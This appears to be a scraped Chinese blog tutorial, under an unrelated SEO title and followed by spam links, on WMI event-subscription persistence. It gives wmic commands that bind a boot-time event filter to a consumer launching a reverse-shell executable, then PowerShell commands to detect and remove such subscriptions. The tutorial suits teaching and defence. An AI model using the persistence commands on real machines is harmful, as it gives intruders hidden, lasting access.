当前位置: 首页 > news >正文

网站加载很慢怎么办哈尔滨网站建设维护

网站加载很慢怎么办,哈尔滨网站建设维护,广州seo关键字推广,旅游网站的主要功能文章目录 一、WMI事件订阅机制简介二、利用事件订阅进行权限维持三、防御方式 一、WMI事件订阅机制简介 WMI(Windows Management Instrumentation,Windows管理规范)是windows提供的一种能够直接与系统进行交互的机制,旨在为系统中…

文章目录

  • 一、WMI事件订阅机制简介
  • 二、利用事件订阅进行权限维持
  • 三、防御方式

一、WMI事件订阅机制简介

WMI(Windows Management Instrumentation,Windows管理规范)是windows提供的一种能够直接与系统进行交互的机制,旨在为系统中运行的各程序界定一套独立于环境的标准,允许系统中允许的程序相互交流系统的程序管理信息。

WMI事件是Windows管理架构中的一部分,它可以监视应用程序的运行、响应系统和应用程序的事件。通过使用WMI事件,应用程序可以接收系统各类通知,并且在特定事件发生时采取相应的措施。例如,磁盘空间不足时可以通过WMI事件来发出警报等。WMI事件可以通过编写WMI查询或使用WMI事件订阅API来捕获。

WMI事件订阅是一种消息机制,用来监听事件类的触发。简单来书,设置一个监听磁盘空间不足的事件订阅,程序可以在磁盘不足的第一时间接收到WMI的告警。事件订阅中有很多类,这里主要关注以下类:

类名作用
EventFilter触发器
EventConsumer执行动作
FilterToConsumerBinding绑定过滤器和消费者类(负责捆绑EventFilter和EventConsumer)

二、利用事件订阅进行权限维持

1、WQL是一种类似SQL的查询语句,是WMI提供的一种用于WMI查询或WMI事件订阅的语句。在命令行中输入wbemtest,打开Windows Management Instrumentation测试器来通过WQL语句查询系统信息。

wbemtest

在这里插入图片描述
打开后进入一个命名空间,点击“连接”——“查询”。
在这里插入图片描述
在这里插入图片描述
使用WQL查询当前系统中所有进程的PID。

select * from Win32_Process

在这里插入图片描述
此外,还有其他查询语句。

# 获取主机名
select * from Win32_ComputerSystem
# 获取BOIS信息
select * from Win32_BOIS
# 获取键盘信息
select * from Win32_Keyboard
# 获取服务列表
select * from Win32_Service
# 获取磁盘列表
select * from Win32_LogicalDisk
# 获取光驱信息
select * from Win32_CDROMDriver

2、利用WMI通知查询的方式来监听windows打印机任务,选择“通知查询”。并使用如下WQL语句:

select * from __InstanceCreationEvent within 0.001 where TargetInstance ISA "Win32_PrintJob"
# __InstanceCreateEvent:代表windows事件类
# within 0.001:代表轮询时间,轮询时间为0.001s,可以理解为每毫秒查询一次该事件
# TargetInstance:实例名称
# ISA:等于
# Win32_PrintJob:打印机名称

3、我们可以将通知查询和执行动作进行捆绑,捆绑之后,系统触发某项查询规则时会立即执行对应动作。首先创建一个触发器,代码如下:

# 在系统初始化之后的第60秒将会进行通知
wmic /namespace:"\\root\subscription" PATH __EventFilter create Name="Testone",EventNameSpace="root\cimv2",Querylanguage="WQL",Query="select * from __InstanceModificationEvent within 60 where TargetInstance ISA "Win32_PerfFormattedData_PerfOS_SYSTEM""
# __EventFilter:触发器
# Testone:触发器名称
# 触发的通知条件由Query决定
# Win32_PerfFormattedData_PerfOS_SYSTEM:windows系统初始化

在这里插入图片描述4、创建好触发器后,需要绑定一个对应的执行动作,也就是触发器在查询到想要的内容后就会触发绑定的执行动作。执行动作需要将命名空间指定为触发器所设置的命名空间,创建执行动作可以使用EventConsumer来完成。当然,需要生成反弹shell,设置监听器哈!

# 当Testone时间被触发后,C:\tmp\reverse_shell.exe将会被执行
wmic /namespace:"\\root\subscription" PATH CommandLineEventConsumer create Name="Testone",ExecutablePath="C:\tmp\reverse_shell.exe",CommandLineTemplate="C:\tmp\reverse_shell.exe"

在这里插入图片描述
5、使用FilterToConsumerBinding来绑定刚刚所创建的触发器和执行动作。

# 绑定触发器和执行动作
wmic /namespace:"\\root\subscription" PATH __FilterToConsumerBinding create Filter="__EventFilter.Name=\"Testone\"",Consumer="CommandLineEventConsumer.Name=\"Testone\""

在这里插入图片描述
6、重启计算,在系统进行初始化工作(重启/重新登录)的第60秒,获取反弹shell。
在这里插入图片描述

三、防御方式

# 查询系统所有命名空间
Get-WmiObject -Namespace root -List -Recurse | Select -Unique __NAMESPACE
# 查询root\subscription命名空间中是否存在执行恶意命令的触发器
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | select CommandLineTemplate,ExecutablePath

在这里插入图片描述

# 列出事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

在这里插入图片描述

# 列出事件消费者
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

在这里插入图片描述

# 列出事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

在这里插入图片描述

# 删除事件过滤器
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='Testone'" | Remove-WmiObject -Verbose

在这里插入图片描述

# 删除事件消费者
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='Testone'" | Remove-WmiObject -Verbose

在这里插入图片描述

# 删除事件绑定
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%Testone%'" | Remove-WmiObject -Verbose

在这里插入图片描述

# 查询root\subscription命名空间中是否存在执行恶意命令的触发器
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | select CommandLineTemplate,ExecutablePath

在这里插入图片描述
至此,系统初始化后的第60s,不会运行反弹shell脚本。

http://www.yayakq.cn/news/172974/

相关文章:

  • 手机网站设计与规划网站建设创业计划书范文大全
  • 企业做的网站开发费如何入帐河源手机网站制作
  • 烟台网站建设找企汇互联专业互联网技术服务
  • 做互助盘网站多少钱花木企业网站源码
  • 电子商务网站规划与建设论文大连建设网官方网站
  • 网站建设花多少钱盐城个人网站建设
  • 徐州手机网站制作公司哪家好河南省建设厅举报网站
  • 给你网站你会怎么做广西建设厅网站在线服务
  • 自助建网站系统源码网站开发的方案
  • 外贸网站推广有用吗修改wordpress登录logo网址
  • 济南网站优化做数据可视化图的网站
  • 城市分站seo重庆网络公司产品设计
  • 网站开发工程师招聘信息中国传统美食网页制作素材
  • 做企业网站前期需要准备什么一二三四在线观看免费中文吗
  • 莱芜益寿堂网站百度seo网站优化服务
  • 荥阳建设网站简单网站建设 有教程
  • 九易建网站的建站模板交通建设集团网站
  • 新闻录入网站模板有名的网站制作电话
  • 如何建立一个私人网站网络营销专家
  • 国内10大网站建设公司汽车维修保养网站模板
  • 触屏手机网站模板网站建设 方案下载
  • 中国企业500强榜单发布徐州百度seo排名
  • 商务网站建设ppt平台推广话术
  • 网站建设样式如何在网站上做网盘
  • 做室内设计的网站有哪些方面百度免费建个人网站
  • 成都网站设公司做网站第一部
  • 一般网站隐蔽点么么进宁夏建设管理局网站
  • 免费建网站赚钱松江区网站制作与推广
  • 网站内容排版网页设计的目的与要求
  • 深圳南山企业网站建设网站logo怎么做